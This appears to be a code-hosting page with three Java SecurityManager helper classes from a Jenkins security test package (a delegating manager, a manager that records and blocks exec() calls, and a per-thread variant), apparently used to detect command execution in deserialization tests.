public class DelegateSecurityManager extends SecurityManager {
private SecurityManager securityManager;
public SecurityManager getSecurityManager() {
return securityManager;
}
public void setSecurityManager(SecurityManager securityManager) {
this.securityManager = securityManager;
}
@Override
public boolean getInCheck() {
return getSecurityManager().getInCheck();
}
@Override
public Object getSecurityContext() {
return getSecurityManager().getSecurityContext();
}
@Override
public void checkPermission(Permission perm) {
getSecurityManager().checkPermission(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
getSecurityManager().checkPermission(perm, context);
}
@Override
public void checkCreateClassLoader() {
getSecurityManager().checkCreateClassLoader();
}
@Override
public void checkAccess(Thread t) {
getSecurityManager().checkAccess(t);
}
@Override
public void checkAccess(ThreadGroup g) {
getSecurityManager().checkAccess(g);
}
@Override
public void checkExit(int status) {
getSecurityManager().checkExit(status);
}
@Override
public void checkExec(String cmd) {
getSecurityManager().checkExec(cmd);
}
@Override
public void checkLink(String lib) {
getSecurityManager().checkLink(lib);
}
@Override
public void checkRead(FileDescriptor fd) {
getSecurityManager().checkRead(fd);
}
@Override
public void checkRead(String file) {
getSecurityManager().checkRead(file);
}
@Override
public void checkRead(String file, Object context) {
getSecurityManager().checkRead(file, context);
}
@Override
public void checkWrite(FileDescriptor fd) {
getSecurityManager().checkWrite(fd);
}
@Override
public void checkWrite(String file) {
getSecurityManager().checkWrite(file);
}
@Override
public void checkDelete(String file) {
getSecurityManager().checkDelete(file);
}
@Override
public void checkConnect(String host, int port) {
getSecurityManager().checkConnect(host, port);
}
@Override
public void checkConnect(String host, int port, Object context) {
getSecurityManager().checkConnect(host, port, context);
}
@Override
public void checkListen(int port) {
getSecurityManager().checkListen(port);
}
@Override
public void checkAccept(String host, int port) {
getSecurityManager().checkAccept(host, port);
}
@Override
public void checkMulticast(InetAddress maddr) {
getSecurityManager().checkMulticast(maddr);
}
@Override
public void checkMulticast(InetAddress maddr, byte ttl) {
getSecurityManager().checkMulticast(maddr, ttl);
}
@Override
public void checkPropertiesAccess() {
getSecurityManager().checkPropertiesAccess();
}
@Override
public void checkPropertyAccess(String key) {
getSecurityManager().checkPropertyAccess(key);
}
@Override
public boolean checkTopLevelWindow(Object window) {
return getSecurityManager().checkTopLevelWindow(window);
}
@Override
public void checkPrintJobAccess() {
getSecurityManager().checkPrintJobAccess();
}
@Override
public void checkSystemClipboardAccess() {
getSecurityManager().checkSystemClipboardAccess();
}
@Override
public void checkAwtEventQueueAccess() {
getSecurityManager().checkAwtEventQueueAccess();
}
@Override
public void checkPackageAccess(String pkg) {
getSecurityManager().checkPackageAccess(pkg);
}
@Override
public void checkPackageDefinition(String pkg) {
getSecurityManager().checkPackageDefinition(pkg);
}
@Override
public void checkSetFactory() {
getSecurityManager().checkSetFactory();
}
@Override
public void checkMemberAccess(Class<?> clazz, int which) {
getSecurityManager().checkMemberAccess(clazz, which);
}
@Override
public void checkSecurityAccess(String target) {
getSecurityManager().checkSecurityAccess(target);
}
@Override
public ThreadGroup getThreadGroup() {
return getSecurityManager().getThreadGroup();
}
}
\ No newline at end of file
package jenkins.security.security218.ysoserial.secmgr;
import java.security.Permission;
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
import java.util.concurrent.Callable;
public class ExecCheckingSecurityManager extends SecurityManager {
public ExecCheckingSecurityManager() {
this(true);
}
public ExecCheckingSecurityManager(boolean throwException) {
this.throwException = throwException;
}
private final boolean throwException;
private final List<String> cmds = new LinkedList<String>();
public List<String> getCmds() {
return Collections.unmodifiableList(cmds);
}
@Override
public void checkPermission(final Permission perm) { }
@Override
public void checkPermission(final Permission perm, final Object context) { }
@Override
public void checkExec(final String cmd) {
super.checkExec(cmd);
cmds.add(cmd);
if (throwException) {
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException(cmd);
}
};
@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String threadName = Thread.currentThread().getName();
private final String cmd;
public ExecException(String cmd) { this.cmd = cmd; }
public String getCmd() { return cmd; }
public String getThreadName() { return threadName; }
@
Override
public String getMessage() {
return "executed `" + getCmd() + "` in [" + getThreadName() + "]";
}
}
public void wrap(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
}
});
}
public <T> T wrap(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager(); // save sm
System.setSecurityManager(this);
try {
T result = callable.call();
if (throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
}
return result;
} catch (Exception e) {
if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
} else {
throw e;
}
} finally {
System.setSecurityManager(sm); // restore sm
}
}
}
\ No newline at end of file
package jenkins.security.security218.ysoserial.secmgr;
import java.util.concurrent.Callable;
public class ThreadLocalSecurityManager extends DelegateSecurityManager {
private final ThreadLocal<SecurityManager> threadDelegates
= new ThreadLocal<SecurityManager>();
public void install() {
System.setSecurityManager(this);
}
@Override
public void setSecurityManager(SecurityManager threadManager) {
threadDelegates.set(threadManager);
}
@Override
public SecurityManager getSecurityManager() {
return threadDelegates.get();
}
public <V> V wrap(SecurityManager sm, Callable<V> callable) throws Exception {
SecurityManager old = getSecurityManager();
setSecurityManager(sm);
try {
return callable.call();
} finally {
setSecurityManager(old);
}
}
}
Markdown is supported
0% .
You are about to add 0 people to the discussion. Proceed with caution.
先完成此消息的编辑!
想要评论请 注册